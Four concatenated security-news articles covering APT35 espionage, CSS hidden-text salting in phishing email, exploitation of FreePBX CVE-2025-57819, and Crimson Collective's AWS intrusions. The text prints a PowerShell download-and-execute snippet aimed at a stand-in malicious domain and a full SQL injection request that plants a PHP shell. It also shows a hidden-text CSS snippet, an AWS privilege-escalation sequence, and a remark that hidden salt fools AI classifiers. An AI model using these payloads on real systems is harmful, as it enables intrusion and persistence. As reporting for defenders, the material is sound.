Since emerging in the mid-2010s as a persistent threat actor, the IRGC-linked APT35 collective has continually adapted its tactics to target government entities, energy firms, and diplomatic missions across the Middle East and beyond.

Initially focused on credential harvesting via targeted phishing campaigns, the group has evolved a modular toolkit capable of deep network infiltration and long-term espionage.

Its operations begin with carefully crafted spear-phishing messages that exploit legacy Office macro vulnerabilities, setting the stage for stealthy deployment of backdoors.

Cloudsek analysts noted that APT35’s toolset includes both custom and publicly available components, allowing researchers to trace distinct code fingerprints even as the adversary pivots between payloads.

After the second paragraph, Cloudsek researchers identified a correlation between the group’s use of .NET-based implants and a pronounced shift toward in-memory execution techniques, reducing disk artifacts and complicating forensic analysis.

This discovery has driven the development of tailored detection rules for network defenders.

The campaign’s impact has been significant: compromised networks have suffered data exfiltration of diplomatic communications, intellectual property theft, and strategic reconnaissance tailored to state-level objectives.

APT35’s operational security measures—including randomized C2 beaconing intervals and encrypted channels over HTTP/HTTPS—have consistently evaded traditional signature-based defenses. Victims often remain unaware of compromise for months, allowing deep data collection and lateral propagation.

The group’s espionage operations extend beyond technical tradecraft. APT35 operators conduct extensive open-source intelligence (OSINT) gathering to craft highly convincing lures, leveraging geopolitical events and professional contacts in targeted organizations.

This human-centric approach, combined with advanced malware, underscores the adversary’s adaptability and resource investment.

Infection Mechanism Deep Dive

APT35’s primary infection vector leverages weaponized Word documents containing obfuscated VBA macros designed to load a staged downloader into memory.

Upon document opening, the macro executes a PowerShell command that masquerades as a legitimate Windows Update process:-

$u = "http://malicious[.]domain/payload.bin"
$r = Invoke-WebRequest -Uri $u -UseBasicParsing
$e = [System.Text.Encoding]::UTF8.GetString($r.Content)
Invoke-Expression $e

This downloader decrypts the next-stage DLL using an AES key embedded in the VBA code. The decrypted payload, typically a .NET-compiled backdoor known as PhosphorusLoader, registers as a COM object for persistence.

It employs process hollowing to inject into svchost.exe, intermittently beaconing to a hidden C2 domain. Figure 1 illustrates this injection workflow, with the AES key stored in an encrypted resource section for evasion.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post IRGC-Linked APT35 Structure, Tools, and Espionage Operations Disclosed appeared first on Cyber Security News.

A sophisticated technique known as hidden text salting has emerged as a significant threat to email security systems, allowing cybercriminals to bypass detection mechanisms through the strategic abuse of cascading style sheets (CSS) properties.

This attack vector enables threat actors to embed irrelevant content, or “salt,” within various components of malicious emails while rendering it invisible to recipients.

The technique has gained widespread adoption across multiple threat categories, including phishing campaigns, scam operations, and advanced persistent threats targeting high-value organizations.

Hidden text salting represents a fundamental shift in how adversaries approach email-based attacks, moving beyond traditional content-based evasion to exploit the very foundation of web presentation standards.

By manipulating CSS properties such as font-size, opacity, display visibility, and container dimensions, attackers can inject substantial amounts of hidden content that confuses automated detection systems while maintaining the visual integrity of their malicious messages.

This approach has proven particularly effective against both signature-based security solutions and advanced machine learning models that rely on textual analysis for threat classification.

The technique manifests across four primary injection points within email infrastructure: preheaders, headers, message bodies, and HTML attachments.

Each location offers unique advantages for threat actors seeking to evade specific detection mechanisms. Preheader injection allows attackers to manipulate preview text that appears in email clients, while header manipulation can confuse language detection algorithms.

Body injection remains the most prevalent method, offering extensive opportunities for content dilution, whereas attachment-based salting complicates static analysis procedures used by security vendors.

Cisco Talos researchers identified this emerging threat pattern through comprehensive monitoring of over sixteen months of email campaigns, analyzing threats from March 2024 through July 2025.

The research reveals that hidden text salting occurs significantly more frequently in malicious emails compared to legitimate communications, with spam and phishing campaigns showing disproportionately higher usage rates.

The analysis encompasses multiple threat actor groups employing variations of the technique, from simple character insertion to sophisticated multilingual content injection designed to confuse natural language processing systems.

The implications extend beyond traditional email security, potentially impacting modern defense systems that incorporate large language models for threat analysis.

Researchers have demonstrated how minimal hidden content can alter the sentiment analysis and intent classification performed by AI-driven security tools, effectively transforming malicious messages into seemingly benign communications from an algorithmic perspective.

Technical Implementation Methods and Detection Evasion

The technical implementation of hidden text salting relies on three primary categories of CSS property manipulation: text properties, visibility controls, and dimensional constraints.

Text-based concealment involves setting font-size to zero or near-zero values, matching font colors to background colors, or manipulating line-height properties to render content invisible. These methods prove effective against parsers that extract visible text content without considering CSS styling contexts.

Visibility and display property abuse represents the most straightforward implementation approach, utilizing CSS declarations such as “display: none,” “visibility: hidden,” or “opacity: 0” to remove content from visual rendering while preserving it within the HTML source.

Advanced variants employ conditional styling based on media queries or client-specific properties, ensuring content remains hidden across different email clients and viewing environments.

Dimensional manipulation techniques focus on container-based concealment, where threat actors create HTML elements with zero width, height, or maximum dimensions, effectively clipping content beyond visible boundaries.

This approach often incorporates overflow controls set to “hidden,” ensuring that oversized content within constrained containers remains invisible to recipients while remaining accessible to HTML parsers and text extraction algorithms.

<div style="font-size: 0px; color: #ffffff; line-height: 1px; 
            max-height: 0px; max-width: 0px; opacity: 0; 
            overflow: hidden;">
    Hidden salt content here
</div>

The sophistication of implementation varies considerably across threat actors, with some employing simple single-property concealment while others utilize complex multi-layered approaches combining multiple CSS techniques.

Advanced implementations incorporate responsive design principles, ensuring hidden content remains concealed across desktop, mobile, and webmail platforms.

Some campaigns utilize CSS selectors to apply concealment properties across multiple HTML elements simultaneously, reducing code redundancy while maintaining evasion effectiveness.

Character-level injection represents another prevalent technique, where threat actors insert zero-width space characters (ZWSP) or zero-width non-joiner (ZWNJ) characters between letters of brand names or sensitive keywords.

While invisible to human recipients, these characters effectively break keyword matching algorithms and signature-based detection systems that rely on exact string matching for threat identification.

The research conducted by Cisco Talos demonstrates that hidden text salting has evolved from a simple evasion technique to a sophisticated attack methodology capable of undermining both traditional and next-generation email security solutions, requiring organizations to implement comprehensive detection and filtering mechanisms that account for CSS-based content concealment.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post Hackers Abuse CSS Properties With Messages to Inject Malicious Codes in Hidden Text Salting Attack appeared first on Cyber Security News.

A critical SQL injection vulnerability in FreePBX has emerged as a significant threat to VoIP infrastructure worldwide, enabling attackers to manipulate database contents and achieve arbitrary code execution.

FreePBX, a widely deployed PBX system built around the open-source Asterisk VoIP platform, provides organizations with web-based administrative capabilities for managing telecommunications infrastructure.

The vulnerability, designated as CVE-2025-57819, allows malicious actors to inject SQL commands through vulnerable web application parameters, specifically targeting the system’s database management functions.

Threat actors have been actively exploiting this vulnerability to compromise FreePBX installations through sophisticated database manipulation techniques.

The attack vector leverages the system’s ajax.php endpoint, where inadequate input sanitization permits SQL injection through the “brand” parameter.

Attackers craft malicious GET requests containing SQL payloads that insert unauthorized entries into the cron_jobs database table, effectively establishing persistent access mechanisms within the compromised system.

Internet Storm Center analysts identified this vulnerability in active exploitation campaigns, observing attackers utilizing the flaw to achieve complete system compromise.

The exploitation attempts demonstrate advanced techniques that extend beyond simple database manipulation, incorporating elements of persistence and stealth to maintain unauthorized access while avoiding detection.

Database Manipulation and Code Execution Mechanism

The exploitation methodology involves injecting carefully crafted SQL statements into the FreePBX database through the vulnerable brand parameter in ajax.php requests.

A typical exploit payload appears as:-

GET /admin/ajax[.]php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x' ;INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','takdak','echo "PD9waHAgaGVhZGVyKCd4X3BvYzogQ1ZFLTIwMjUtNTc4MTknKTsgZWNobyBzaGVsbF9leGVjKCd1bmFtZSAtYScpOyB1bmxpbmsoX19GSUxFX18pOyA/Pgo="|base64 -d ]/var/www/html/rspgf.php',NULL,'* * * * *',30,1,1) --

The malicious payload inserts a new entry into the cron_jobs table, which FreePBX utilizes for scheduled task management. The base64-encoded command, when decoded, reveals a PHP script containing:-

[ [?] php header ( 'x_poc: CVE-2025-57819'); echo [shell _exec] (' uname - a'); unlink (__ [FILE] __); ? ]

This technique transforms database manipulation into direct code execution by exploiting FreePBX’s cron job management system, creating web-accessible PHP files that execute system commands while implementing self-deletion mechanisms to evade forensic analysis.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post FreePBX SQL Injection Vulnerability Exploited to Modify The Database appeared first on Cyber Security News.

A new threat group calling itself Crimson Collective has emerged as a significant cybersecurity concern, targeting Amazon Web Services (AWS) cloud environments with sophisticated data exfiltration and extortion campaigns.

The group has recently claimed responsibility for attacking Red Hat, asserting they successfully compromised and stole private repositories from Red Hat’s GitLab infrastructure.

This development represents a concerning escalation in cloud-focused cybercrime, highlighting the evolving landscape of threats facing organizations operating in cloud environments.

The Crimson Collective employs a methodical approach to breach AWS infrastructure, beginning with the exploitation of leaked long-term access keys before escalating privileges through IAM account manipulation.

Their operations demonstrate advanced knowledge of AWS services and security configurations, enabling them to navigate complex cloud architectures while maintaining persistence across compromised environments.

The group’s activities have been concentrated on collecting and exfiltrating databases, project repositories, and other valuable organizational data, placing both corporate intellectual property and customer information at significant risk.

Over recent weeks, security researchers have documented increased activity from this threat actor across multiple AWS environments, with documented cases occurring throughout September.

The group operates from multiple IP addresses and maintains presence across several compromised accounts within the same target environment, suggesting a coordinated multi-operator structure.

Their extortion notes reference themselves using plural pronouns, indicating multiple individuals collaborate in these operations, though the precise composition and structure of the group remains unclear.

Rapid7 analysts identified the malware and its operational patterns through comprehensive analysis of CloudTrail logs and behavioral indicators across affected environments.

Their research revealed that Crimson Collective consistently employs the open-source tool TruffleHog as their primary method for discovering compromised AWS credentials in code repositories and storage locations.

Technical Exploitation Methods

The group’s technical methodology centers on leveraging TruffleHog, a legitimate security tool designed to identify exposed credentials in various storage locations.

When TruffleHog discovers valid AWS credentials, it authenticates using the GetCallerIdentity API call to verify credential validity.

Analysis of CloudTrail logs consistently shows the TruffleHog user agent as the initial indicator across all compromised accounts, providing security teams with a clear detection opportunity.

Following successful credential validation, Crimson Collective establishes persistence through systematic user creation and privilege escalation.

They execute CreateUser API calls followed by CreateLoginProfile to establish password authentication, then generate additional access keys using CreateAccessKey calls.

The group attempts these persistence mechanisms across every compromised account, though accounts lacking sufficient privileges are either abandoned or subjected to SimulatePrincipalPolicy calls to assess available permissions.

When successful in creating new users, the threat actors immediately escalate privileges by attaching the arn:aws:iam::aws:policy/AdministratorAccess policy through AttachUserPolicy API calls.

This AWS-managed policy grants comprehensive access to all AWS services and resources, providing attackers with unrestricted control over the compromised environment for subsequent data exfiltration operations.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post Crimson Collective Leverages AWS Services to Exfiltrate Sensitive Data appeared first on Cyber Security News.